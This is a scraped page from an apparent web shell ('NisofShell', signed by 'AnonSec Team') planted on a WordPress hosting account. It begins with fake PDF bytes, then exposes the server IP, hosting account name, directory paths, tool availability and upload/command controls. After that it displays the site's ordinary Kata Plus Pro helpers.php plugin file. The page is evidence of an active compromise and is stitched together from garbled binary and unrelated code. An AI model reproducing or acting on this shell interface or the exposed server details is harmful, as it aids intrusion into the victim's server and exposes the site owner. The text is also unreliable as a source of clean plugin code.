%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/w/e/l/wellingtpa/www/wp-content/plugins/kata-plus-pro/includes/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/w/e/l/wellingtpa/www/wp-content/plugins/kata-plus-pro/includes/helpers/helpers.php
<?php

/**
 * Helpers Pro Class.
 *
 * @author  ClimaxThemes
 * @package Kata Plus
 * @since   1.0.0
 */

// Don't load directly.
if (!defined('ABSPATH')) {
	exit;
}

use Elementor\Plugin;

if ( ! class_exists( 'Kata_Plus_Pro_Helpers' ) ) {
	class Kata_Plus_Pro_Helpers {
		/**
		 * Instance of this class.
		 *
		 * @since   1.0.0
		 * @access  public
		 * @var     Kata_Plus_Pro_Helpers
		 */
		public static $instance;

		/**
		 * Provides access to a single instance of a module using the singleton pattern.
		 *
		 * @since   1.0.0
		 * @return  object
		 */
		public static function get_instance()
		{
			if (self::$instance === null) {
				self::$instance = new self();
			}
			return self::$instance;
		}

		/**
		 * Define the core functionality of the plugin.
		 *
		 * @since   1.0.0
		 */
		public function __construct()
		{
			$this->actions();
		}

		/**
		 * Define the core functionality of the plugin.
		 *
		 * @since   1.0.0
		 */
		public function actions() {
			// add the filter
			add_filter( 'wp_kses_allowed_html', [$this, 'filter_wp_kses_allowed_html'], 10, 1 );
			add_filter( 'upload_mimes', [$this, 'mime_types'], 10, 1);
			add_action( 'kata_single_before_loop', [$this, 'post_view_counter'] );
			add_action( 'after_switch_theme', [$this, 'start_kata_plus'] );
			add_action( 'show_user_profile', [$this, 'author_social_networks'] );
			add_action( 'edit_user_profile', [$this, 'author_social_networks'] );
			add_action( 'personal_options_update', [$this, 'save_author_social_networks'] );
			add_action( 'edit_user_profile_update', [$this, 'save_author_social_networks'] );
			add_action( 'kata_plus_add_icon_set', [$this, 'icon_manager_icon_set'] );
			add_action( 'kata_plus_plugins', [$this, 'kata_plus_plugins'] );
		}

		/**
		 * Add Author Social Networks.
		 *
		 * @param string  $user Required. user object.
		 * @since   1.0.0
		 */
		public function author_social_networks( $user ) {
			?>
			<h2><?php echo __( 'User Social Networks', 'kata-plus' ) ?></h2>
			<table class="form-table" role="presentation">
				<!-- Facebook -->
				<tr>
					<th><label for="kata_author_facebook"><?php echo __( 'Facebook', 'kata-plus' ); ?></label></th>
					<td><input type="url" name="kata_author_facebook" id="kata_author_facebook" value="<?php echo esc_attr( get_the_author_meta( 'kata_author_facebook', $user->ID ) ); ?>" class="regular-text"></td>
				</tr>
				<!-- Twitter -->
				<tr>
					<th><label for="kata_author_twitter"><?php echo __( 'Twitter', 'kata-plus' ); ?></label></th>
					<td><input type="url" name="kata_author_twitter" id="kata_author_twitter" value="<?php echo esc_attr( get_the_author_meta( 'kata_author_twitter', $user->ID ) ); ?>" class="regular-text"></td>
				</tr>
				<!-- Linkedin -->
				<tr>
					<th><label for="kata_author_linkedin"><?php echo __( 'Linkedin', 'kata-plus' ); ?></label></th>
					<td><input type="url" name="kata_author_linkedin" id="kata_author_linkedin" value="<?php echo esc_attr( get_the_author_meta( 'kata_author_linkedin', $user->ID ) ); ?>" class="regular-text"></td>
				</tr>
				<!-- Instagram -->
				<tr>
					<th><label for="kata_author_instagram"><?php echo __( 'Instagram', 'kata-plus' ); ?></label></th>
					<td><input type="url" name="kata_author_instagram" id="kata_author_instagram" value="<?php echo esc_attr( get_the_author_meta( 'kata_author_instagram', $user->ID ) ); ?>" class="regular-text"></td>
				</tr>
			</table>
			<?php
		}

		/**
		 * Save Author Social Networks.
		 *
		 * @param string  $user_id Required. user object.
		 * @since   1.0.0
		 */
		public function save_author_social_networks( $user_id ) {
			if ( ! current_user_can( 'edit_user', $user_id ) ) {
				return false;
			}
			update_user_meta( $user_id, 'kata_author_facebook', $_POST['kata_author_facebook'] );
			update_user_meta( $user_id, 'kata_author_twitter', $_POST['kata_author_twitter'] );
			update_user_meta( $user_id, 'kata_author_linkedin', $_POST['kata_author_linkedin'] );
			update_user_meta( $user_id, 'kata_author_instagram', $_POST['kata_author_instagram'] );
		}

		/**
		 * Get The Author Social Networks.
		 *
		 * @since   1.0.0
		 */
		public static function get_the_author_social_networks() {
			$user_id =  ! Plugin::$instance->editor->is_edit_mode() ? get_the_author_meta( 'ID' ) : get_current_user_id();
			if ( ! current_user_can( 'edit_user', $user_id ) ) {
				return false;
			}
			// font-awesome/facebook
			$facebook  = get_user_meta( $user_id, 'kata_author_facebook', true ) ? get_user_meta( $user_id, 'kata_author_facebook', true ) : '';
			// font-awesome/twitter
			$twitter   = get_user_meta( $user_id, 'kata_author_twitter', true ) ? get_user_meta( $user_id, 'kata_author_twitter', true ) : '';
			// font-awesome/linkedin
			$linkedin  = get_user_meta( $user_id, 'kata_author_linkedin', true ) ? get_user_meta( $user_id, 'kata_author_linkedin', true ) : '';
			// font-awesome/instagram
			$instagram = get_user_meta( $user_id, 'kata_author_instagram', true ) ? get_user_meta( $user_id, 'kata_author_instagram', true ) : '';
			if( $facebook || $twitter || $linkedin || $instagram ) {
				echo '<ul class="kt-author-social-network">';
				if( $facebook ) {
					?>
					<li> <a href="<?php echo esc_url( $facebook ); ?>"><?php echo Kata_Plus_Pro_Helpers::get_icon( '', 'font-awesome/facebook', '', '' ); ?></a> </li>
					<?php
				}
				if( $twitter ) {
					?>
					<li> <a href="<?php echo esc_url( $twitter ); ?>"><?php echo Kata_Plus_Pro_Helpers::get_icon( '', 'font-awesome/twitter', '', '' ); ?></a> </li>
					<?php
				}
				if( $linkedin ) {
					?>
					<li> <a href="<?php echo esc_url( $linkedin ); ?>"><?php echo Kata_Plus_Pro_Helpers::get_icon( '', 'font-awesome/linkedin', '', '' ); ?></a> </li>
					<?php
				}
				if( $instagram ) {
					?>
					<li> <a href="<?php echo esc_url( $instagram ); ?>"><?php echo Kata_Plus_Pro_Helpers::get_icon( '', 'font-awesome/instagram', '', '' ); ?></a> </li>
					<?php
				}
				echo '</ul>';
			}
		}

		/**
		 * Get MetaBox.
		 *
		 * @param string  $key Required. Post meta key.
		 * @param string  $id Optional. Post ID.
		 * @param boolean $single Optional. Add class to heading.
		 * @since   1.0.0
		 */
		public static function get_meta_box( $key, $id = '', $single = true ) {
			if ( function_exists( 'rwmb_meta' ) && '' === $id ) {
				return ! empty( rwmb_meta( $key ) ) || rwmb_meta( $key ) === '0' ? rwmb_meta( $key ) : '';
			} else {
				$id = $id ? $id : get_the_ID();
				return get_post_meta( $id, $key, $single );
			}
		}

		/**
		 * Post Counter Container.
		 *
		 * @since   1.0.0
		 */
		public function post_view_counter() {
			if ( ! get_post_meta( get_the_ID(), 'kata_post_view', true ) ) {
				add_post_meta( get_the_ID(), 'kata_post_view', 1 );
			} else {
				$i = get_post_meta( get_the_ID(), 'kata_post_view', true );
				$i++;
				update_post_meta( get_the_ID(), 'kata_post_view', $i );
			}
		}

		/**
		 * Add Svg to Kses
		 *
		 * @since   1.0.0
		 */
		public function filter_wp_kses_allowed_html($allowed_tags)
		{
			$allowed_tags['i']     = [
				'class' => true,
			];
			$allowed_tags['svg']   = [
				'version' => true,
				'xmlns'   => true,
				'width'   => true,
				'height'  => true,
				'viewbox' => true,
			];
			$allowed_tags['title'] = [];
			$allowed_tags['path']  = [
				'fill' => true,
				'd'    => true,
			];
			return $allowed_tags;
		}

		/**
		 * Add Svg to Kses
		 *
		 * @since   1.0.0
		 */
		public function mime_types($mimes = [])
		{
			$mimes['svg'] = 'image/svg+xml';
			return $mimes;
		}

		/**
		 * Insert attachment
		 *
		 * @since   1.0.0
		 */
		public static function insert_attachment($file_url)
		{
			$file        = $file_url;
			$filename    = basename($file);
			$upload_file = wp_upload_bits($filename, null, file_get_contents($file));

			if (!$upload_file['error']) {
				$wp_filetype   = wp_check_filetype($filename, null);
				$attachment    = array(
					'post_mime_type' => $wp_filetype['type'],
					'post_parent'    => null,
					'post_title'     => preg_replace('/\.[^.]+$/', '', $filename),
					'post_content'   => '',
					'post_status'    => 'inherit',
				);
				$attachment_id = wp_insert_attachment($attachment, $upload_file['file'], null);
				$attach_url    = wp_get_attachment_url($attachment_id);

				if (!is_wp_error($attachment_id)) {
					require_once ABSPATH . 'wp-admin/includes/image.php';
					$attachment_data = wp_generate_attachment_metadata($attachment_id, $upload_file['file']);
					wp_update_attachment_metadata($attachment_id, $attachment_data);
				}

				return [
					'id'  => $attachment_id,
					'url' => $attach_url,
				];
			}
		}

		/**
		 * Get current theme info.
		 *
		 * @since   1.0.0
		 */
		public static function get_theme()
		{
			$get_theme = wp_get_theme();
			if ($get_theme->parent_theme) {
				$get_theme = wp_get_theme(basename(get_template_directory()));
			}
			return $get_theme;
		}

		/**
		 * Get theme options.
		 *
		 * @since   1.0.0
		 */
		public static function get_theme_option($opts, $key, $default = '')
		{
			return isset($opts[$key]) ? $opts[$key] : $default;
		}

		/**
		 * SSL URL.
		 *
		 * @since   1.0.0
		 */
		public static function ssl_url()
		{
			return (is_ssl()) ? 'https://' : 'http://';
		}

		/**
		 * Check URL.
		 *
		 * @since   1.0.0
		 */
		public static function check_url($url)
		{
			$headers = @get_headers($url);
			$headers = (is_array($headers)) ? implode("\n ", $headers) : $headers;
			return (bool) preg_match('#^HTTP/.*\s+[(200|301|302)]+\s#i', $headers);
		}

		/**
		 * Get Image srcset.
		 *
		 * @since   1.0.0
		 */
		public static function get_image_srcset($attachment_id = '', $size = 'full', $null = '', $image_meta = null)
		{
			if (!empty($attachment_id) && is_numeric($attachment_id)) {
				$image_meta = !empty(trim(strip_tags(get_post_meta($attachment_id, '_wp_attachment_image_alt', true)))) ? '' : $image_meta;
				return wp_get_attachment_image($attachment_id, $size, '', $image_meta);
			}
		}

		/**
		 * Get Attachment SVG path.
		 *
		 * @since   1.0.0
		 */
		public static function get_attachment_svg_path($id, $url, $attr = '', $class = '', $icon_attr = '')
		{
			if ($id) {
				if (self::string_is_contain($url, 'svg')) {
					if( $attr == 'medium' ) {
						$attr = 'width="300" height="300"';
					}
					switch ($attr) {
						case 'thumbnail':
							$attr = 'width="150" height="150"';
						break;
						case 'medium':
							$attr = 'width="300" height="300"';
						break;
						case 'medium_large':
							$attr = 'width="760"';
						break;
						case 'large':
							$attr = 'width="1024" height="1024"';
						break;
						case '1536x1536':
							$attr = 'width="1536" height="1536"';
						break;
						case '2048x2048':
							$attr = 'width="2048" height="2048"';
						break;
						case 'full':
							$attr = 'data-size="full"';
						break;
					}
					$svg = get_attached_file($id) ? file_get_contents(get_attached_file($id)) : __('No SVG file selected', 'kata-plus');
					if ($attr != '') {
						$svg = str_replace('<svg ', '<svg ' . $attr, $svg);
					}
					if(self::ssl_url()) {
						$svg = str_replace( 'http://', 'https://', $svg );
					}
?>
					<i class="kata-svg-icon<?php echo ' ' . esc_attr( $class ); ?>"<?php echo esc_attr($icon_attr);?>>
						<?php echo $svg; ?>
					</i>
<?php
				}
			}
		}

		/**
		 * SVG size
		 *
		 * @since   1.0.0
		 */
		public static function svg_resize($size_type, $width = '', $height = '')
		{
			$thumbnail_w       = get_option('thumbnail_size_w') != '0' ? 'width="' . get_option('thumbnail_size_w') . '"' : '';
			$thumbnail_h       = get_option('thumbnail_size_h') != '0' ? ' height="' . get_option('thumbnail_size_h') . '"' : '';
			$medium_w          = get_option('medium_size_w') != '0' ? 'width="' . get_option('medium_size_w') . '"' : '';
			$medium_h          = get_option('medium_size_h') != '0' ? ' height="' . get_option('medium_size_h') . '"' : '';
			$large_w           = get_option('large_size_w') != '0' ? 'width="' . get_option('large_size_w') . '"' : '';
			$large_h           = get_option('large_size_h') != '0' ? ' height="' . get_option('large_size_h') . '"' : '';
			$medium_large_w    = get_option('medium_large_size_w') != '0' ? 'width="' . get_option('medium_large_size_w') . '"' : '';
			$medium_large_h    = get_option('medium_large_size_h') != '0' ? ' height="' . get_option('medium_large_size_h') . '"' : '';
			$thumbnail_size    = $thumbnail_w . $thumbnail_h;
			$medium_size       = $medium_w . $medium_h;
			$medium_large_size = $medium_large_w . $medium_large_h;
			$large_size        = $large_w . $large_h;

			if ($size_type != 'custom') {
				switch ($size_type) {
					case 'thumbnail':
						$svg_size = $thumbnail_size;
						break;
					case 'medium':
						$svg_size = $medium_size;
						break;
					case 'medium_large':
						$svg_size = $medium_large_size;
						break;
					case 'large':
						$svg_size = $large_size;
						break;
					case 'full':
						$svg_size = '';
						break;
				}
			} else {
				$custom_w = $width ? 'width="' . esc_attr($width) . '"' : '';
				$custom_h = $height ? ' height="' . esc_attr($height) . '" ' : '';
				$svg_size = $custom_w . $custom_h;
			}
			return $svg_size;
		}

		/**
		 * Get Image srcset.
		 *
		 * @since   1.0.0
		 */
		public static function get_link_attr($data)
		{
			$link_src         = new stdClass();
			$link_src->src    = $data['url'] != '' ? 'href="' . esc_url($data['url'], self::ssl_url()) . '"' : '';
			$link_src->rel    = $data['nofollow'] != '' ? esc_attr(' rel=nofollow') : '';
			$link_src->target = $data['is_external'] != '' ? esc_attr(' target=_blank') : '';
			$link_src->attr   = explode(',', $data['custom_attributes']);
			if ($link_src->src) {
				if ($data['custom_attributes']) {
					foreach ($link_src->attr as $value) {
						$link_src->src .= ' ' . str_replace('|', '="', $value) . '"';
					}
				}
			}
			return $link_src;
		}

		/**
		 * Minimum capability.
		 *
		 * @since   1.0.0
		 */
		public static function capability() {
			return 'manage_options';
		}

		/**
		 * Css Minifier.
		 *
		 * @since   1.0.0
		 */
		public static function cssminifier( $css ) {
			$css = str_replace(
				["\r\n", "\r", "\n", "\t", '    '],
				'',
				preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', trim( $css ) )
			);
			return str_replace(
				['  ', '{ ', ' }', ' {', '} ', ' screen and ', '; ', ', ', ': '],
				['','{','}','{','}','',';',',',':'],
				$css
			);
		}

		/**
		 * Post Excerpt.
		 *
		 * @since   1.0.0
		 */
		public static function post_excerpt($n)
		{
			return substr(get_the_content(), 0, $n);
		}

		/**
		 * Post Formats.
		 *
		 * @since   1.0.0
		 */
		public static function post_format_icon()
		{
			echo '<div class="kata-post-format">';
			if (get_post_format() == 'gallery') {
				echo self::get_icon('', 'themify/gallery', '', '');
			} elseif (get_post_format() == 'link') {
				echo self::get_icon('', 'themify/link', '', '');
			} elseif (get_post_format() == 'image') {
				echo self::get_icon('', 'themify/image', '', '');
			} elseif (get_post_format() == 'quote') {
				echo self::get_icon('', 'themify/quote-left', '', '');
			} elseif (get_post_format() == 'status') {
				echo self::get_icon('', 'themify/pencil', '', '');
			} elseif (get_post_format() == 'video') {
				echo self::get_icon('', 'themify/video-camera', '', '');
			} elseif (get_post_format() == 'aside') {
				echo self::get_icon('', 'themify/plus', '', '');
			} else {
				echo self::get_icon('', 'themify/notepad', '', '');
			}
			echo '</div>';
		}

		/**
		 * Allow to start kata plus.
		 *
		 * @since   1.0.0
		 */
		public function start_kata_plus() {
			if ( ! defined( 'KATA_VERSION' ) ) {
				deactivate_plugins( Kata_Plus::$name );
				if ( wp_safe_redirect( admin_url( 'themes.php' ) ) ) {
					exit;
				}
			}
		}

		/**
		 * Sanatize CSS value.
		 *
		 * @since   1.0.0
		 */
		public static function validate_unit_of_number($value)
		{
			if (is_numeric($value)) :
				return $value . 'px';
			endif;

			return $value;
		}

		/**
		 * Make File.
		 *
		 * @since   1.0.0
		 */
		public static function mkfile($path, $name)
		{
			if (!file_exists( $path . '/' . $name )) {
				global $wp_filesystem;
				if (empty($wp_filesystem)) {
					require_once ABSPATH . '/wp-admin/includes/file.php';
					WP_Filesystem();
				}
				$wp_filesystem->put_contents(
					$path . '/' . $name,
					'',
					FS_CHMOD_FILE
				);
			}
		}

		/**
		 * Make and write File.
		 *
		 * @since   1.0.0
		 */
		public static function wrfile($path, $content)
		{
			global $wp_filesystem;
			if (empty($wp_filesystem)) {
				require_once ABSPATH . '/wp-admin/includes/file.php';
				WP_Filesystem();
			}
			$wp_filesystem->put_contents( $path, $content, 0644 );
		}

		/**
		 * Read File.
		 *
		 * @since   1.0.0
		 */
		public static function rfile($path)
		{
			global $wp_filesystem;
			if (empty($wp_filesystem)) {
				require_once ABSPATH . '/wp-admin/includes/file.php';
				WP_Filesystem();
			}
			return $wp_filesystem->get_contents( $path );
		}

		/**
		 * Remove Directory.
		 *
		 * @since   1.0.0
		 */
		public static function rmdir($path)
		{
			if (file_exists($path)) {
				if (!class_exists('WP_Filesystem_Base')) {
					global $wp_filesystem;
					if (empty($wp_filesystem)) {
						require_once ABSPATH . '/wp-admin/includes/file.php';
						WP_Filesystem();
					}
				}
				global $wp_filesystem;
				$wp_filesystem->rmdir($path, true);
			}
		}

		/**
		 * Make Directory.
		 *
		 * @since   1.0.0
		 */
		public static function mkdir($path) {
			if (!file_exists($path)) {
				if (!class_exists('WP_Filesystem_Base')) {
					global $wp_filesystem;
					if (empty($wp_filesystem)) {
						require_once ABSPATH . '/wp-admin/includes/file.php';
						WP_Filesystem();
					}
				}
				global $wp_filesystem;
				$wp_filesystem->mkdir($path, false);
			}
		}

		/**
		 * Get icon url.
		 *
		 * @since   1.0.0
		 */
		public static function get_icon_dir($font_family = '', $icon_name)
		{
			$font_family = $font_family ? $font_family . '/' : '';
			return apply_filters( 'kata-get-icon-dir', Kata_Plus::$assets_dir . 'fonts/svg-icons/' . $font_family . $icon_name . '.svg' );
		}

		/**
		 * Get icon url.
		 *
		 * @since   1.0.0
		 */

		public static function get_icon_url( $font_family = '', $icon_name ) {
			return self::abs_path_to_url(static::get_icon_dir($font_family, $icon_name));
		}

		/**
		 * path to url.
		 *
		 * @since   1.0.0
		 */
		public static function abs_path_to_url($path = '')
		{
			$url = str_replace(
				wp_normalize_path(untrailingslashit(ABSPATH)),
				site_url(),
				wp_normalize_path($path)
			);
			return esc_url_raw($url);
		}

		/**
		 * Get SVG icon.
		 *
		 * @since   1.0.0
		 */
		public static function get_icon($font_family = '', $icon_name, $custom_class = '', $extra_attr = '')
		{
			if (!empty($icon_name)) {
				$custom_class = !empty($custom_class) ? ' ' . $custom_class : '';
				$extra_attr   = !empty($extra_attr) ? ' ' . $extra_attr : '';
				$icon = file_get_contents(self::get_icon_dir($font_family, $icon_name));
				if(self::ssl_url()) {
					$icon = str_replace( 'http://', 'https://', $icon );
				}
				return '<i class="kata-icon' . $custom_class . '"' . $extra_attr . '>' . $icon . '</i>';
			}
			return '';
		}

		/**
		 * String is Contain
		 *
		 * @since   1.0.0
		 */
		public static function string_is_contain($string, $search)
		{
			if (strpos($string, $search) !== false) {
				return true;
			} else {
				return false;
			}
		}

		/**
		 * Get Latest Post ID.
		 *
		 * @since   1.0.0
		 */
		public static function get_latest_post_id() {
			if (!Plugin::$instance->editor->is_edit_mode()) {
				return;
			}

			$latest_post = get_posts('post_type=post&numberposts=1');
			return $latest_post[0]->ID;
		}

		/**
		 * Get Latest Course ID.
		 *
		 * @since   1.0.0
		 */
		public static function get_latest_course_id() {
			if ( ! Plugin::$instance->editor->is_edit_mode() ) {
				return get_the_ID();
			} else {
				$latest_post = get_posts( 'post_type=lp_course&numberposts=1' );
				return $latest_post[0]->ID;
			}

		}

		/**
		 * Image Resizer
		 *
		 * @since   1.0.0
		 */
		public static function image_resize($id, $size = array())
		{
			if (!empty($id) && $size[1]) {
				$file     = get_attached_file($id, true);
				$image    = wp_get_image_editor(wp_get_attachment_url($id));
				$img_src  = realpath($file);
				$filename = wp_basename($img_src);
				$src      = str_replace($filename, '', $img_src);
				if (!is_wp_error($image)) {
					$image->resize($size['0'], $size['1'], true);
					$save_name = $image->generate_filename($size[0] . 'x' . $size[1], $src, null);
					$save      = $image->save($save_name);
					return str_replace($filename, $save['file'], wp_get_attachment_url($id));
				}
			} else {
				echo self::get_image_srcset($id, 'full');
			}
		}

		/**
		 * Image Resize Output
		 *
		 * @since   1.0.0
		 */
		public static function image_resize_output($id = '', $size = array())
		{
			$id = $id ? $id : get_post_thumbnail_id();
			$alt = get_post_meta( $id, '_wp_attachment_image_alt', true ) ? ' alt=' . get_post_meta( $id, '_wp_attachment_image_alt', true ) . '' : '';
			if ( wp_get_attachment_image_srcset( $id, 'full' ) && strpos( wp_get_attachment_image_srcset( $id, 'full' ), wp_get_attachment_url( $id ) ) !== false ) {
				$srcset = str_replace( wp_get_attachment_url( get_post_thumbnail_id() ), self::image_resize( get_post_thumbnail_id(), array( '300', '300' ) ), wp_get_attachment_image_srcset( get_post_thumbnail_id(), 'full' ) );
			}
			echo '<img src="' . self::image_resize( $id, $size ) . '"' . esc_attr( $alt ) . ' srcset="' . esc_attr( $srcset ) . '">';
		}

		/**
		 * get string between
		 *
		 * @since   1.0.0
		 */
		public static function get_string_between($string, $start, $end) {
			$string = ' ' . $string;
			$ini = strpos($string, $start);
			if ($ini == 0) return '';
			$ini += strlen($start);
			$len = strpos($string, $end, $ini) - $ini;
			return substr($string, $ini, $len);
		}

		/**
		 * get string between
		 *
		 * @since   1.0.0
		 */
		public function icon_manager_icon_set() {
			echo '<div class="management-btn" data-back-text="' . __('Back To Icon List', 'kata-plus') . '" data-text="' . __('Add Icon Set', 'kata-plus') . '">' .  __('Add Icon Set', 'kata-plus') . '</div>';
		}

		/**
		 * get string between
		 *
		 * @since   1.0.0
		 */
		public function kata_plus_plugins( $plugins ) {
			$Kata_Plus_Install_Plugins = new Kata_Plus_Install_Plugins;
			$new_plugins = [
				[
					'name'      => esc_html__('Quform', 'kata-plus'),
					'slug'      => 'quform',
					'author'    => '<a href="' . esc_url( 'https://www.themecatcher.net/' ) . '">' . esc_html__('ThemeCatcher', 'kata-plus') . '</a>',
					'images_url'  => $Kata_Plus_Install_Plugins->images_url . 'kata-plugin-icon-4.png',
					'source'    => $Kata_Plus_Install_Plugins->plugins_dir . 'quform.zip',
					'version'    => '2.12.0',
					'fast-mode'   => true,
				],
				[
					'name'      => esc_html__('Slider Revolution', 'kata-plus'),
					'slug'      => 'revslider',
					'author'    => '<a href="' . esc_url( 'https://www.themepunch.com/' ) . '">' . esc_html__('ThemePunch', 'kata-plus') . '</a>',
					'images_url'  => $Kata_Plus_Install_Plugins->images_url . 'kata-plugin-icon-5.png',
					'source'    => $Kata_Plus_Install_Plugins->plugins_dir . 'revslider.zip',
					'version'    => '6.2.12',
					'fast-mode'   => false,
				],
				[
					'name'      => esc_html__('FileBird', 'kata-plus'),
					'slug'      => 'filebird',
					'author'    => '<a href="' . esc_url( 'https://ninjateam.org' ) . '">' . esc_html__('FileBird', 'kata-plus') . '</a>',
					'images_url'  => $Kata_Plus_Install_Plugins->images_url . 'kata-plugin-icon-7.png',
					'source'    => $Kata_Plus_Install_Plugins->plugins_dir . 'filebird-wordpress-media-library-folders.zip',
					'version'    => '3.9',
					'fast-mode'   => false,
				],
				[
					'name'      => esc_html__('Essential Grid', 'kata-plus'),
					'slug'      => 'essential-grid',
					'author'    => '<a href="' . esc_url( 'https://themepunch.com' ) . '">' . esc_html__('ThemePunch', 'kata-plus') . '</a>',
					'images_url'  => $Kata_Plus_Install_Plugins->images_url . 'kata-plugin-icon-12.png',
					'source'    => $Kata_Plus_Install_Plugins->plugins_dir . 'essential-grid.zip',
					'version'    => '2.3.6',
					'fast-mode'   => false,
				],
				[
					'name'      => esc_html__('Advanced Custom Fields PRO', 'kata-plus'),
					'slug'      => 'advanced-custom-fields-pro',
					'author'    => '<a href="' . esc_url( 'https://www.advancedcustomfields.com' ) . '">' . esc_html__('Elliot Condon', 'kata-plus') . '</a>',
					'images_url'  => $Kata_Plus_Install_Plugins->images_url . 'kata-plugin-icon-1.png',
					'source'    => $Kata_Plus_Install_Plugins->plugins_dir . 'advanced-custom-fields-pro.zip',
					'version'    => '5.8.12',
					'fast-mode'   => false,
				],
			];
			return array_merge( $new_plugins, $plugins );
		}

	} // class

	Kata_Plus_Pro_Helpers::get_instance();
}

Anon7 - 2022
AnonSec Team